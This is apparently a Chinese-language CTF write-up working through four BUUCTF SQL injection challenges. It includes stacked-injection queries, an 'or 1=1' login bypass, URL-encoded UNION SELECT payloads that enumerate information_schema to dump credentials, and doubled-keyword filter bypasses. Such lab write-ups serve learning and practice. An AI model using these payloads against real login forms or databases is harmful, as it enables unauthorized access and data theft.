BUUCTF--sql注入
[强网杯 2019]随便注
乱试试出来闭合是',用or 1=1好像没有,试了下可以用堆叠注入,select等语句被过滤,用show databases;查出一堆表名
show tables;(好臭的表)
1';desc 1919810931114514
;查出有flag这个列
看到另外一张表words的结构为
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
盲猜这个words表,就是我们看到的这个界面的表
思路是吧flag的名字改成words,并把flag列也改成id,再用or 1=1 爆出,但是不知道为什么我试的时候一直报错,用网上的payload也一样,很迷
[SUCTF 2019]EasySQL
对堆叠注入有反应1;show databases;获取库ctf,在show tables获取表flag,但是他把flag给过滤掉了,没法直接select 读出,直接打没被拦截但是也同样什么信息都没有得到
然后就卡住了
看了下wp,fuzz跑出来没有过滤|,这个运算我没有直接查到是什么意思,但是在mysql里面试了下,发现跟别的,例如1|id,这样是可行的(但是对数值可能有影响),但是不能够使用*|id
MariaDB [db1]> desc class; | |||||
---|---|---|---|---|---|
Field | Type | Null | Key | Default | Extra |
cno | int(10) | YES | NULL | ||
cname | varchar(20) | YES | NULL |
2 rows in set (0.00 sec)
MariaDB [db1]>
MariaDB [db1]> select * from class; | |
---|---|
cno | cname |
71 | 信息论 |
75 | 离散数学 |
79 | JAVA |
81 | C++ |
84 | 数论 |
5 rows in set (0.00 sec)
MariaDB [db1]> select 1 from class; |
---|
1 |
1 |
1 |
1 |
1 |
1 |
5 rows in set (0.00 sec)
MariaDB [db1]> select 1 | cno from class; |
---|---|
1 | cno |
71 | |
75 | |
79 | |
81 | |
85 |
5 rows in set (0.00 sec)
MariaDB [db1]> show columns from class; | |||||
---|---|---|---|---|---|
Field | Type | Null | Key | Default | Extra |
cno | int(10) | YES | NULL | ||
cname | varchar(20) | YES | NULL |
2 rows in set (0.00 sec)
MariaDB [db1]> select *| from class;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '| from class' at line 1
MariaDB [db1]> select cname | cno from class; |
---|---|
cname | cno |
71 | |
75 | |
79 | |
81 | |
84 |
5 rows in set, 5 warnings (0.00 sec)
MariaDB [db1]> select 1 | cname from class; |
---|---|
1 | cname |
1 | |
1 | |
1 | |
1 | |
1 |
5 rows in set, 5 warnings (0.00 sec)
然后这人就猜测语句可能是sql = "select $_POST['query'] | col_xx from tab"
然后直接输入*,1就出来了...
[极客大挑战 2019]LoveSQL
?username=1%27or%201=1--+;&password=1万能密码进入,得到了
Hello admin!
Your password is '81c030327a85b46a0487d3b25ea43239'
试了下这个并不是flag(哪有那么简单),看了下bp也没有抓到什么东西,那就继续老老实实的注入
用order by测出一共有三个列,估计可能就放在第三个没有显示出来的那一列
select username,password from table where username='',password='';
select username,password from table where username=''--+;',password='';
?username=-1%27%20union%20select%201,2,database()--+;&password=1显示这个表显示出的是二三列,且库名geek
?username=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27geek%27--+;&password=1
得到表名geekuser
?username=-1%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27geek%27%20and%20table_name=%27geekuser%27%20limit%202,1--+;&password=1
获取列名id,username,password
感觉不对劲,返回表名那一步,limit1,1获取另外一个表l0ve1ysq1,列名也是id,username,password
?username=-1%27%20union%20select%201,username,password%20from%20l0ve1ysq1%20limit%2010,1--+;&password=1然后后面就一个个看,里面一堆乱七八糟的玩意,扔bp里面爆破了,第十五行里面就是我们要的flag
[极客大挑战2019]babysql
一些关键词被过滤了,但是其实只要复写就能绕过
?username=1%27+oorrder+bbyy+3%3B--+测出有3列
?username=1%27+ununionion+seselectlect+1%2C2,database()%3B--+爆出库名geek
?username=1%27+ununionion+seselectlect+1%2C2,table_name+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%3B--+这里是我糊涂了,我以为他屏蔽了information_schema,试了几次不行,后来才想起来屏蔽的是or....另外还有from也被过滤了但没在意
b4bsql,geekuser这里面有这两个表,我猜那玩意在b4bsql里面,然后有id,username,password三列
?username=1%27+ununionion+seselectlect+1%2Cusername,passwoorrd+frfromom+geek.b4bsql+limit+0,1%3B--+爆内容,果不其然又是奇奇怪怪的一堆,扔bp猜到第八个的时候出来了
评论已关闭